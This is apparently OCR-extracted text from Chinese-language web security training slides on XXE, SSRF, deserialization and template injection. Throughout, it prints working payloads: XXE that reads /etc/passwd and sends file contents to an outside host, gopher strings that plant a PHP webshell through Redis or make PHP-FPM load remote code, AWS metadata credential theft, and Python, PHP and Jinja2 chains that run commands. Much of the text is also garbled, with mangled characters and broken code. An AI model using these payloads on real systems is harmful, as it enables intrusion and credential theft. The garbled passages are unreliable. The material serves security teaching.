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XML Format

900
<?xml version="1.0" 7> — XML %QHH
<!DOCTYPE note |
<!ELEMENT note (to, from, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)> Wi HRAIE (DTD)
<!ELEMENT body (#PCDATA)>
]>
kailbro
seacat K*Ei%

meow



XXE

e £ XML External Entity Injection
o XML Parser 1£fFf /M E BERT » PTDATRIE URL (ME3
- AHIGERE (file// )

- php wrapper (php://)



DTD (Document Type Definition)

» EFE XML XHRIGEHE > BER  BiE - 5%
+ W FRAET

- DOCTYPE : DTDEHR

- ENTITY : HESEIR (FIAERSEE)

- SYSTEM ., PUBLIC : 4MERE EEREE



<!
kaibrol

<
para
m "hello”
>

<
>&p
I . </
),
aram >



php > $data = <<<EOF

<<< > <!DOCTYPE kaibro|

<<< > <!ENTITY param "hello">

<<< > |>

<<< > <root>&param;</root>

<<< > EOF;

php > echo simplexml_load_string($data);
hello

php > |}



< kaibrol

<! XXe "file:///etc/passwd">

< >&xxe; </ >

A] PAYARY E Ath Protocol



i

Raw ] Params I Headers I Hex I XML ] J Raw T Headers I Hex ]

GET /hosts.php HTTP/1.1 A HTTP/1.1 200 OK

Host: 10.10.10.78 | Date: Fra, 03 Aug 2018 06:51:32 GMT
User-Agent: Mozalla/5.0 (X11; Linux xB86 64; rv:52.0) Gecko/20100101 Firefox/52.0 Server: Apache/2.4.18 (Ubuntu)

Accept: text/html, application/xhtml+xml application/xml;q=0.9,%/%.q=0.8 Vary: Accept-Encodang

Accept-Language: en-US,en;g=0.5 Content-Length: 2487

Accept-Encodaing: gzip, deflate Connection: close

Connection: close Content-Type: text/html; charset=UTF-8

Upgrade-Insecure-Requests: 1
Content-Length: 201

There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash

<?xml version=*"1.0" encoding="I150-8859-1"7> daemon:x:1:1:daemon:/usr/sbin:/usr/sbain/nologin

<!DOCTYPE foo [ bin:x:2:2:ban:/ban:/usr/sbin/nologin

<1ELEMENT foo ANY > sys:x:3:3:sys:/dev:/usr/sbin/nologin

<IENTITY xxe SYSTEM *file:////etc/passwd” >]> sync:x:4:65534:sync:/ban:/bin/sync

<details> games:x:5:60:games: /usr/games: /usr/sbain/nologin

<subnet_mask>&xxe;</subnet_mask> man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

<test></test> lp:x:7:7:\p:/var/spool/lpd: /usr/sbin/nologin

</details> mail:x:8:8:maal:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:1rcd:/var/run/ircd: /usr/sbain/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexastent: /usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108: : /home/syslog:/bin/false

_apt:x:105:65534: : /nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false

uuidd:x:107:111::/run/uuidd: /bin/false

lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false




28

=

BEHRS

< kaibrol|
<! % remote "http://gg.tw/xxe.dtd" >

lremote;
1>

< >&b </ >

T <! b "file:///etc/passwd">
I e —



Out of Band XXE

o YIR XXE ;=2B\[OIEE ... (Blind XXE)

o TRHHAIEIINEE ERERIGERIEIMS



Out of Band XXE

<! ANY [

<! % file "php://fi1lter/convert.baseb4-
encode/resource=/www/1ndex.php">

<! % remote "http://gg.tw/xxe.dtd" >
%remote; \

oall;

»send; <! % all "<!ENTITY &#37; send SYSTEM

"http://gg.tw/?a=%f1le; " '>">



Out of Band XXE

<! ANY [

<! % file "php://f1lter/convert.baseb4-
encode/resource=/www/1ndex.php">

<! % remote "http://gg.tw/xxe.dtd">
%remote; \

%all; %

%send; = <! % all "<!ENTITY|&#37;| send SYSTEM

"http://gg.tw/?a=%f1le; " '>">



xxe.dtd

220.137.106.196 - - [07/Nov/2019:13:39:11 +0000] \'GET /xxe.dtd HTTP/1.0" 200 296 "-" "-"

220.137.106.196 - - [07/Nov/2019:13:39:11 +0000| "GET /?a=PCFETONUWVBFIGh@bWw+(CjxodGlsPgo8aGVhZD4KICA8bGLuayByZWwOInNGeWxLlc2hlZXQ1
IHRS5cGU9INR1eHQVY3NzI1iBocmVmPS]1ib29@c3RyYXAubWluLmNzcyI+CijwvaGVhZD4KPGIvZHk+Cgo8ZGL2IGNsYXNzPS] jb250YWLuZXI1PgogIDx1cj48YnI+(C1iAgPG
RpdiBjbGFzcz@1cm93I74KICAgIDxmb3JtIG11dGhvZDOA1UESTVCI+C1AgICAgIDxkaXYgY2xhc3MOImZvem@tZ3IvdXAiPgogICAgICAgIDxsYWI1LbCBmb3I9ImV4YWlw
bGVIbnB1dEVtYWLsMSI+WEIMIGhlcmU6PC9sYWI1bD4KICAgICAgICA8dGV4dGFyZWEGem93cz@2IGNsYXNzPSImb3JtLWNvbnRyb2wiIGShbWU9Inhtb(IgcGxhY2Vob2
xkZXI9Ijxyb290Pjwvcm9vdD41PjwvdGV4dGFyZWE+C1AgICAgIDwWvZGL2PgogICAgICA8YNnVAdAGOUIHRScGUIINN1YmlpdCIgY2xhc3MOImIOb1iB1dG4tcHIpbWFyeSI+
U3VibWLOP(C91dXROb24+C1AgICA8L2Zvcm@+C1AgP(9kaXY+(C1AgPGlyPix1cj4KICA8ZGL2IGNsYXNzPSJyb3ciPgogICAgICAgIDxwemU+C1AgICA8P3BocAogICAglG

RhdGEgPSAkX1BPU1RbJ3htbCddOwogICAgIHhtbCA9IHNpbXBsZXhtbF9sb2FkX3NO@cmluZygkZGFAYSk7C1AgICBwcmludFOyKCR4bWwp0z8+CgogIDwvZG1l2Pgo8L2Rp
dj4K HTTP/1.0" 200 805 "-" "-"

Result



<!

<!

ANY [
% f1le

~lEExA work ?

"php://fi1lter/convert.base64-

encode/resource=/www/1ndex.php">

<!
Bremote;

psend;

% remote

<!

% send

"http://gg.tw/xxe.dtd">

\

"http://gg.tw/?a=%f1le; '>



XXE in Files

o HIEFEZIRT (Office Open XML) IS XML
- DOCX e TOO|
- XLSX -
~ PPTX i

- PDF _


http://github.com/BuffaloWill/oxml_xxe
http://github.com/whitel1st/docem
http://www.youtube.com/watch?v=LZUlw8hHp44
http://www.youtube.com/watch?v=LZUlw8hHp44

Open XML Formats File Container

&

.

Document Properties

™

-

Custom Defined XML

™

&

Embedded Code/Macros

@

.

WordML/SpreadsheetML, etc.

™

o

Charts

Images, Video, Sound files

Comments




k12 [ag: Error-based XXE

e Scenario: #[o]Z8 - AEEEIIMEGES

o {588 : Google CTF 2019 Qual - bnv


https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

—

1235 XXE + SMB

e XXE + SMBrelay to RCE

o < XXe "\\172.23.135.119\xxx">


https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745
https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745

Lab 0x01 - XXE me



SSRF



SSRF

e Server Side Request Forgery
o (ERRFHImZHEER K » MEIEEIANREIR
- SMEEAEE RER RN

- IR imE i IMEF A4



Redis
000 ammmm
‘. @ T MR
client allow web
80 port interface —
oo -
— Git Server



XSPA Attack

e XSPA (Cross Site Port Attack)
o ;&A@ SSRF BAAE Port
- http://10.0.54.87:80 OK

- http://10.0.54.87:81 Timeout

- http://10.0.54.87:8080 Timeout



Intranet IP Range

¢ 127.0.0.0/8
¢ 192.168.0.0/16
e 10.0.0.0/8

e 172.16.0.0/12



Where?

o B RIIRYNAELLTERARIARTS
- URLTREE » 0=
- 43t 1=
- BiF5|A

o BRZEL url, link, proxy, target, host, . . .



i 1T RS

‘p% https://richkh.tw/

RICHKH.TW

REN - BRARCEO : 1TiERE » TEHE
EXECEO BENATIESERANER - XVABNZAEE » 1§...

BA 18K / A
=) B /&

OO EiERMA




Where?

o 455k SSRF ZIREL

- XXE

- FFMPEG

- Database NZEEHEY

- ImageMagick



Where?

o 455k SSRF ZIREL

XX E <!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://127.0.0.1/
FFMPEG secret’>
1>
Database W@III%Q <root>&xxe;</root>

ImageMagick




Where?

o 5%7* SSRF *%*Eﬁ!illj o B-|.CIC|ZV|'I|ECI1:Z®U156A 128®9175 - m3u8 SSRF
YXE - CVE-2016-1898
#EXTM3U
FFMPEG #EXT-X-MEDIA-SEQUENCE: 0
#EXTINF:10.0,
Database A EHEY concat:http://gg.tw/a.m3u8|file:///etc/
passwd

ImageMagick #EXT-X-ENDLIST




Where?

o 455k SSRF ZIREL

e Postgresqgl dblink
XXE

SELECT dblink_send_query('host=127.0.0.1
dbname=quit user=\"'\nstats\n\'

FFMPEG

assword=1 port=11211
Database REERE ° °

sslmode=disable’, 'select version();');

ImageMagick




Where?

o 455k SSRF ZIREL

e C(VE-2016-3718

XXE

push graphic-context

viewbox @ @ 640 480

f1ll "urlChttp://example.com/)’
pop graphic-context

FFMPEG

Database ANIEEAEY

ImageMagick




FEh 7575

e HT TP Access Log

- Bldik{zEERER>

- {BERIREEII hitp EAZ MBS NiSHE
e DNS Log

- BfdikZz2EH M DNS &l
o IR[OIAN

Dk

- 3&3® Banner, Title, Content ZFE R 50



URL Components

Authority Query
http:// /foo/bar?size=big
N b N

Scheme Path Fragment



URL Components

Authority

—

http:// /foo/bar
I N

Scheme Path



SSRF Fl B

e Scheme: (\&RiE ° BE/RTE =2BINEM

e Authority: f\&zHost+Port » JRENENHEHE



SSRF ¥

o ZSINFI A

- file:///etc/passwd

- file://localhost/etc/passwd

- local_file:///etc/passwd (Python 2.7)
- file:///var/www/html/ (JAVA [RE R[5 B &%)
- netdoc:///var/www/html/ (JAVA [RE R B )



SSRF ¥

o RMFIAA (BT PHP Stream Wrapper)
- php://filter
- php://input

- php://fd



SSRF ¥

o ANHFIFH - Libreoffice CVE-2018-6871

- WEBSERVICE Bz ihisi =

- BB Z1& > A HTTP E9Mx

- =COM.MICROSOFT.WEBSERVICEC&quot;http://kaibro.tw/
&quot ; &amp ; COM.MICROSOFT .WEBSERVICE(&quot;/etc/
passwd&quot;))



ofe]o — +
A - - -

o + + + +

( + + + +

Ad = = + +

o + + + +

0 - - + -

o RimFlF :

+ + + +
- WREE e PT LARE? : : :
C = = + +

010]0 - - 4 4

0 = = = +

0 - - + -

Reference: LS . . + .



http://ASP.NET
http://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM

SSRF ¥l RS

o IRHAHE - HTTP / HTTPS

A

- 3TN Web RS

- GET-based I¥Z: SQL Injection, Command Injection, ...

- Y55k BRFH: Struts2, ElasticSearch, Docker API, . ..



Struts2 FlFH

e HTTP-based
- 52-016
- s2-037
- §2-045

- s2-057



Struts2 FlFH

e HTTP-based

- s2-016 \
- s2-037/

http://10.0.2.87/index.do?redirect:${new
- 52-045 java.lang.ProcessBuilder('id").start()}

- s2-057



Struts2 FlFH

e HTTP-based
- s2-016

- s2-057
http://10.0.2.87/$%7B233*233%7D/actionChainl.action

- s§2-045 /

- s2-057



FlasticSearch ¥l

e ElasticSearch: Java AZENESNEX =z g|ZE
e Default Port 9200

- e.g. CVE-2015-3337 Bi}iERE

http://10.0.2.87:9200/_plugin/head/../../../../../../../etc/passwd



Cloud Metadata FlJH

x Zir RFF5EBAF Metadata Service

- AWS, GCP, Azure, ...
o N PATZFENEI—LERYRNE N (AccessKey, SecretKey, . . )
o« EEEF AL RCE



Cloud Metadata FljFH

o AWS EC2

- REST API: 169.254.169.254

ubuntu@ip-172-31-29-137:~%
ubuntu@ip-172-31-29-137:~% curl http://169.254.169.254/1atest/meta-data/identity-credentials/ec2/security-credentials/e
c2-instance
{
"Code" : "Success",
"LastUpdated" : "2019-11-10T15:02:25Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASHINEEEEER ",

"SecretAccessKey" : "zvi—
"Token"™ : "IQoJlb3JpZ2VluX2ViEL///////////WEaDmFWLW5vcnRoZWFzd(C@xIkgwRgIhAI8uc/aX8enH1LHA3b86DQY1aExLzt9CcipID1YTKc+vCAL

EA3vPNnG5a0tRbRQSNXPVMpPOGmxQpMtaZ8urBHXabmTa8q9AI112P//////////ARABGGWSNTAWMJMAMDEZzNzg1D0oz71A6Bmxv8Y/1WSrIAjNF1IOGR/xVg

sZMMutZt3N6D0jesslgnpVq6/07aIMwsDFZbJeAGDFfCWAcmfTo466dQMkunjsFPW7u@qYr3qler9WnParXo4mnWIxKNVqaPQW3sCOL9Z6I1tVQLuUS5gS9YGK
Y94QwkNFoCw76qV5cK]77WgHyHHZR1R80xZ04="",

"Expiration" : "2019-11-10T21:24:15Z"
}ubuntu@ip-172-31-29-137:~$ |



- EFAE

- AIBMEEES TCP HE

- FR#l: 1@z BERX LS



Gopher

$ curl gopher://127.0.0.1:5487/_AB%0d%?aCD

$ ncat -vl 5487

Ncat: Version 6.47 (http://nmap.org/ncat)
Ncat: Listening on :::5487

Ncat: Listening on 0.0.0.0:5487

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:55981.

AB

CD



Gopher

Authority Payload

gopher:// / _AB CD
— 1 1

Scheme Padding



Gopher

o 183& HTTP 583K (GET)

- gopher:// /_GET%20/%20HTTP/
1.1 Host:kaibro. tw

GET / HTTP/1.1\r\n
Host:kaibro.tw\r\n
\r\n



Gopher

o 1&i& HTTP &K (POST)

- gopher://kaibro.tw:80/_P0ST%20/%20HTTP/1.1
Host:kaibro.tw Content-length:5
Connection:close Content-Type:

application/x-www-form-urlencoded
1d=1/



Gopher

POST / HTTP/1.1\r\n

Host :kaibro.tw\r\n

Content-length:5\r\n

Connection:close\r\n
Content-Type:application/x-www-form-urlencoded\r\n
\r\n

1d=12



Gopher + Redis

e Redis
- Key-Value Database

- Default port: 6379

- EMETTERERAIT > ARERER root iERERET



Gopher + Redis

e gopher://10.0.2.87:6379/_SET%20key1%20"vall”

SET keyl "wvall"\r\n



Gopher + Redis

e ERER: 51 SAVEE

- webshell
- ssh key

- crontab



Gopher + Redis

e ERER: 51 SAVEE

- webshell

FLUSHALL
ssh key \

SET kaibro "<?=phpinfo()7>"
CONFIG SET DIR /var/www/html/
CONFIG SET DBFILENAME s.php
SAVE

- crontab



Gopher + MySQL

P MQSQL Z:JEHME: ;Z’J;?jﬂ__r (EEE%)
o TJi%i8 Gopher 183i& MySOL &

=k



Gopher + PHP-FPM

e php-fom: #1T PHP BIARFS

o FastCGl: IR fom ;BB E

-—




Gopher + PHP-FPM

o RIZHESH: PHP-FPM REGZEHRIREE>

- — -

forged request
&




Gopher + PHP-FPM

e FastCGl Protocol Kt E15&iEik:

gopher://0:9000/_%01%01%2500%01%2500%08%2500%2500%2500%01%2500

%2500%2500%2500%2500%2500%01%04%2500%01%2500%7 F%2500%2500%AE %03
REQUEST_METHODGET%0OF%16SCRIPT_FILENAME%ZFvar%Z Fwww%ZFhtml%2Finf
0.php%09%3APHP_VALUEallow_url_include%3D0n%250Aauto_prepend_f1il
e%3Dhttp%3A%2F%2Fkaibro.tw%2Fsh%01%04%2500%01%2500%2500%2500%25

00%01%05%2500%01%2500%2500%2500%2500



Gopher + PHP-FPM

e FastCGl Protocol X#kE&E

gopher://0 . Q4 50/62500%01%2500

%2 500%Zad 507/ F%2500%2500%0E%03
REL ol Fvar¥%Z FwwwsZFhtml%Z2Finf
ude%3D0n%250Aauto_prepend_f1il
Sh%01%04%2500%01%2500%2500%2500%25
00%2500%2500



- FRWHEE

- ¥ Redis



dict fingerprinting
$ curl dict://127.0.0.1:5487/

$ ncat -vl1 5487

Ncat: Version 6.47 (http://nmap.org/ncat)
Ncat: Listening on :::5487

Ncat: Listening on 0.0.0.0:5487

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:55981.
CLIENT libcurl 7.54.0

QUIT



BYpPAss

o YNRERHE SSRF » SAEIEENR?
- Protocol
- Host

- Port



B
Ypas
S

o
FH R

En

i

| a]tya1
5 75

| URS 422305 -

L'%%\% B2
305 :
\\TG?LEI.

=
Lt



DNS Rebinding

o HiZF

(validate_domain($domain)) {
file_get_contents($domain);



DNS Rebinding

o HiZF

(validate_domain($domain)) {
file_get_contents($domain);



DNS Rebinding

o HiZF

(validate_domain($domain)) {
file_get_contents($domain);



DNS Rebinding

o HiZF

1.
(validate_domain($domain)) {
2'ﬂ1e_ge’c_conten’cs(frpdomcﬂn);

HAHFM-X DNS Request



DNS Rebinding

® TTL ?E/J\ http://9g.tw
Q: gg.tw
- go.tw B—RERMTEY 1.2.3.4 A:1.2.3.4
= 99 8% %_-Aﬁﬂ‘ﬁﬂz 127001 Q: gg.tw
A:127.0.0.1

o EMFHIM{%E A Record



Bypass URL

e 127.0.0.1

- localhost
- 127.0.1

- 127.1 3 BB
- 0.0.0.0 '\ ATHE el Y S

p el = M § EiIE us
i ¥ .:_,' S X i X

’3; = “. ™ 13 ¥ é,{
2120'0.1.- ‘.

/ =
A.U.U. 1"
- — .

- 0




Bypass URL

o AEIEMNTEM

- 2130706433

2-31-29-137:~%
2-31-29-137:~% curl 2356152436
This object may be found <a HREF="https://www.ntu.edu.tw/">here</a> </body>

@ip-17
@ip-17

<body>

3'0'0'

untu 1
untu 1
ead> y>

- Ox7f000001
- Ox71.0x0.0x0.0x1
- 017700000001

- 0177.0.0.01



Bypass URL

e |Pv6

- :127.0.01

- =fff£127.0.01

- ipb6-localhost



Realworld Case

e Slack IPv6 SSRF - $ 1000 USD

® Only visible to you

® Location: http://[::]:22/ g e

SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.



https://medium.com/@elberandre/1-000-ssrf-in-slack-7737935d3884
https://medium.com/@elberandre/1-000-ssrf-in-slack-7737935d3884

Bypass URL

o 155% Unicode T
- http://KAOBRO.DW

- http://kA i BRO."W)



Bypass URL

o 5= ARFS
- 127.0.0.1.xip.io
- f00.bar10.0.0.1.xip.io
- A54.87.54.87.1time.127.0.0.1.forever.rebind.network

- 36573657.7t000001.rbndr.us



502 Bypass

o WR:ZARFE= Follow 302 Redirect . . .

<?’php
Header("Location: gopher://127.0.0.1:9000/x...");



on 12 [ ey

e Orange Tsai - A New Era of SSRF - Exploiting URL Parser In
Trending Programming Languages!


https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

Lab 0x02 - ??7?



Deserialization



Serialization

e i Array, Object, ... I EEZRTE © BHIAIIET
o #HTE RPC, RMI 9B FEAP

o E2{5l : PHP
Array('a', 'b")

l



Deserialization

o IEFFELFREEOIEERY Object, Array, . ..
o ERNELTERIBEZETERETER
- {EFAEZERFIIERIE®H A

- BENEN Magic Method » EIEFERR1T S



PHP Serialization

e serialize() / unserializae()

8/ +—— 1:87
'kaibro' <«—> s:06:"kalbro";

Array('a’, 'b') <e—— qa:2:{1:0;s:1:"a";1:1;s:1:"b";}



PHP Serialization

e [F5I{E Object IF » HITEXIE Class

o RFFHI{ERF > 5% Class BB E R

In order to be able to unserialize() an object, the class of that object needs to be defined. That is, if you have an
object of class A and serialize this, you'll get a string that refers to class A and contains all values of variables

contained In It. If you want to be able to unserialize this in another file, an object of class A, the definition of class
A must be present in that file first. This can be done for example by storing the class definition of class A in an
Include file and including this file or making use of the spl_autoload_register() function.




Data Type
String
Integer

Boolean

Array

Serialization Format
s:s1ze:value;
1:value;

b:value;

a:size:{key_definition;value_definition;
(repeat per element)}

O:class_name_length:class_name:object_s1ize:
{s:property_name_length:property_name:propert
y_definition;(repeat per property)}



class Cat {

W1s:1:"at Lt
.15:06:7\x00Cat\x00b" ;..}
.15:4:"\x00*\x00c" ;...}




Class Name

W1s:1:"at Lt //'

.15:9:"\x00Cat\x00b" ;..}
.15:4:"\x00*\x00c" ;...}

\

NULL Byte

class Cat {




PHP - Magic Method

o ERERNESWIFIIFE
e __construct()

e __destruct()

e __wakeup()

o __tOStFin9<)



PHP - Magic Method

e _wakeup()

- Invoked on unserialization

e _destruct()
- Invoked on garbage collection

e __toString()
- Invoked when an object is treated as string

e call(O)

- Invoked when an undefined method is called



Example

class Kaibro {
$name = "meow";
function __wakeup() {
system("echo " . $this->name);

¥
$input = $_GET['s'];
$obj = unserialize($input);



class Kaibro {

$name - "meow"; s=0:06:"Kaibro":1:4

__wakeup() { Ss:4:"name" ;s:3:";1d";}
system("echo " . $this->name);

¥
$input = $_GET['s'];
$obj = unserialize($input);




class Kaibro {

$name "meow" ; s=0: 6 "KCIlbI"O 1:

__wakeup() {
system("echo " . $this->name);

¥
$input = $_GET['s'];
$obj = unserialize($input);

uid=33(www-data) gid=33(www-data)
groups=33(www-data)




POP Chain

e Property Oriented Programming

o $A{L Pwn BY ROP Chain (Reuse existing code)

o 148 Gadget: BERE __wakeup() 8% __destruct()

User Input — Deserialization — Gadget — Gadget —Gadget, —| Vulnerability
H/—_—/ H/——/

PHP Object Injection Gadget Chain



POP Gadget Example

class Kaibro { class Cat {

$mypet; function say() {

function __construct() { echo "Meow!";

$this->mypet = new Cat(); ) s
¥ . class Dog {
function __wakeup() { function say() {
$this->mypet->say(); echo "4 X~";
1 5



R ——

POP Gadget Example

class Kaibro {
public $mypet;
function __construct() {

$this->mypet = new Cat();

s
function __wakeup() {

$this->mypet->say();

$ Initial Gadget

PHP

class Cat { Gadget 1
function say() {

echo "Meow!";

¥

$
class Dog { Gadget 2

function say() {
echo "4 X~";

¥



POP Gadget Example

class Kaibro { R SRR class Cat {
function say() {
function __construct() { echo "Meow!";
$this->mypet =/new Cat(); ) 5
; class Dog {
function __wakeup() { function say() {
say(Q); echo "4 X~";
} $



Realworld Case

e Pornhub RCE - $ 20000 USD

e https://www.evonide.com/how-we-broke-php-hacked-pornhub
-and-earned-20000-dollar/

PHP Zero-Day to Hack PornHub

_PORN
o

520,000 Bounty
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PHP Phar deserialization

o Phar: —f& PHP BR&E (4
o E{EF phar:// :BEY phar XS » @¥H metadata RFEFIME

o AEEFE® unserialize()



00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090

70
52
00
3A
7B
22
2E
C7
ES
D4

Figure 1: Hex view of the created Phar file.
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?php.__HALT_COM
PILER();.?>..

...0:8:"AnyClass
ol T T R

EEEEEERR RS . . . .
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PHP Phar deserialization

o B RIVIFEIFEARHERT 32

- fi1le_get_contents() - unlink()
- 1nclude() - f1le()
- file_exists() - fopen()

- getimagesize() - is_dir()



PHP Phar deserialization

o AR EKIE php-src:  (php-src/ext/phar/phar.c)

if (zip_metadata_len) -

i char *)estrndup(*buffer, zip metadata len);

PHP_VAR_UNSERIALIZE_INIT(var_hash);

metadata_len, &var _hash)) {

val ptr_dtor(metadata);

ZVAL_UNDEF (metadata);

rn FAILURE;




PHP Phar deserialization

<?php
TestObject {
}

@unlink("phar.phar");

$phar = Phar("phar.phar");
$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");
$0 = TestObject();

$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering( );

4 phar 514t payload



Python Pickle

e Stack-based virtual pickle machine
- RIFFMLBEFRIEIE—1E Stack-based [E Bt
- HHEMNEIZME opcode » AHIERIFAFTE M class



Python Pickle

>>dad = [1,2,3]

>>> pilckle.dumps(a)
"(Lp@\nI1\naI2\nalI3\na.'

>>> pilckle.loads('(Lp@\nI1\nal2\nal3\na. ")
[1, 2, 3]

>>> .



Python Pickle

import os
import cPickle
import sys

import baseb4 $ python exp.py > pay

class Exploit(object): $ cat paylpython vul.py
def __reduce__(self):

return (os.system, ('1s',)) exp.py pay vul.py

(WY

shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)

OO WOoO~NOOTULAEAWNR

=

import os
import cPickle
import sys
import basebt4

s = raw_input(”:")

1
2
3
4
S
6
I'4
8

print cPickle.loads(base64.b64decode(s))




Java Deserialization

o —1%B—1ff Magic Method !
- readObject
- finalize

- hashCode



Java Deserialization

o Java EREZH AWM Gadget R !

- ysoserial


http://github.com/frohoff/ysoserial

ASP.NET Deserialization

e NET hlr ysoserial !

- ysoserial.net

e ViewState, Session. .. Eih A EZINFEIEE R


http://github.com/pwntester/ysoserial.net

Lab 0x03 - 2?77



SSTH



Template Engine

o = HNIRMA Web Framework H
o FFERABEITEEE R E]
o E3{5]

- Python Jinja2 : <p>{{ user.nickname }}</p>

- Ruby ERB: <h1><%= Time.now.to_s %></h1>



TMPLATE

ENGINE — RESULT PAGE




html>
TMPLATE S
1 |
ENGINE —  Hello, kaibro!

</html>




SSTH

e Server Side Template Injection

o & Server Side HNEIRAE FI1E0F » AIAISSE



|[dentifty

o {{ 7 * 7 }}
- Twig: 49
- Jinja2: 49

o {{ 7 * 7" }}
- Twig: 49

- Jinja2: 7777777






Jinja?2

e Python EIRES

e Sandbox H#|1T

<title>{% block title %}{% endblock %}</title>

<ul>
{% user i1n users %}

<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% %)

</ul>



Jinja?2

flask Flask, render_template_string, config, request

app = Flask(__name__ )
.route('/")
tndex():
name=request.args.get( 'name’)
template = '<hl>hello {}!<hl>'.format(name)
render_template_string(template)

app.run()



Jinja?2

e {{ config }}
- EEERImAEREH

- SECRET_KEY



Jinja?2

o {4 """ __class__.__base__ }t}

- <class ‘object’>
o {4 "" __class__.__mro__[2].__subclasses__() }}

- [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy's,
<type 'weakproxy's, <type 'int'>, <type 'basestring’>, <type
'bytearray’s, <type 'list’>, <type 'NoneType's, <type
'‘NotlmplementedType'>, <type 'traceback’s, <type ‘super’> ..



Jinja2 - File Read / Write

o {4 "", _class__.__mro__[2].__subclasses__()[40]

('/etc/passwd’).read() }+}

- ‘root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/
sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/
nologin\nsys. ..

o {{''",__class__.__mro__[2].__subclasses__()[40]1("/
var/www/app/a.txt’, 'w').write('Kaibro Yo!')}}



Jinja2 - RCE

[59].__1n1t__.func_globals.linecache.os.popen('1d

').read()}}

- vid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),
4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),
30(dip),44(video),46(plugdev),109(netdev),110(Ixd)

o ff¢' __class__.__mro__[2].__subclasses__()



Jinja2 - RCE (Python3)

for ¢ 1n [].__class__.__base__.__subclasses__()
1f c.__name__ "catch_warnings'
for b 1n c.__init__.__globals__.values()
1f b.__class__ {}.__class__

1t "eval' 1n b.keys()
b["eval']('__1mport__("os").popen("1d").read() ")
endif
endif
endfor
endif

endfor



Realworld Case

e UBER SSTI to RCE - $10000 USD



https://hackerone.com/reports/125980

Lab 0x04 - 277
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2018 CTF Web o xws

SQL Injection 44

Remote Code Execution 34[7]

Cross Site Scripting 25[5]

OS Command Injection 19
Server Side Request Forgery 19[F]
Local/Remote File Inclusion 17F5
Insecure Deserialization 125
o % *E$ 5%%; =1 EJ'E II:I:II 1 E ;Fﬁ 4 b Server-Side Template Injection 10F
Directory Traversal 9]
o ) Prototype Pollution Attack 6]
Refe rence. Race Condition 6]
XML External Entity 5]
Directory Brute-Force Attack 5]
CSS Injection 4]

Hash length extension attack 3]

LDAP Injection 2[5



http://graneed.hatenablog.com/entry/2018/12/16/003745

Race Condition

o M ZFAERIRMM OS REZI—i%
e e.g. HW - Safe R/W
- F18 php 18 > BN L EEEERBEE

- EESEMIERRT » BN —1B Thread & include 'E



Prototype Pollution
o FoIREREE Javascript

let myobj = {
propl: 173,
propZ: "kaibro”
§




Prototype Pollution

¢ %Imu ngt Jovascrlpt

myobj.propl

let myobj = {
propl: 173,
propZ: "kaibro”
§




Prototype Pollution

o FARERE Javascript

myobj.propl
123

let myobj = {
propl: 173,
propZ: "kaibro”
§




Prototype Pollution

o FARERE Javascript

myobj.propl

let myobj = { 155

propl: 173,
propZ: "kaibro”

myobj.propZ

¥




Prototype Pollution

o FARERE Javascript

myobj.propl

let myobj = { 155

propl: 173,
propZ: "kaibro”
§

myobj.prop2
"kaibro"




Prototype Pollution

o FARERE Javascript

let myoby = { myobj.toString
propl: 173,
propZ: "kaibro”
§




Prototype Pollution

o FARERE Javascript

let myoby = { myobj.toString
propl: 173, f toString() {
propZ: "kaibro" [native code]

L }




Prototype Pollution

o FARERE Javascript

let myoby = { myobj.toString
propl: 173, f toString() {
propZ: "kaibro" [native code]

L }




Prototype-based Inheritance

e Every object in Javascript has a prototype

o N[PAFE® __proto__ F{FHY

myobj.__proto__

{constructor: f, __defineGetter__: f,

9 — — —— —

__defineSetter__: f, hasOwnProperty: f,
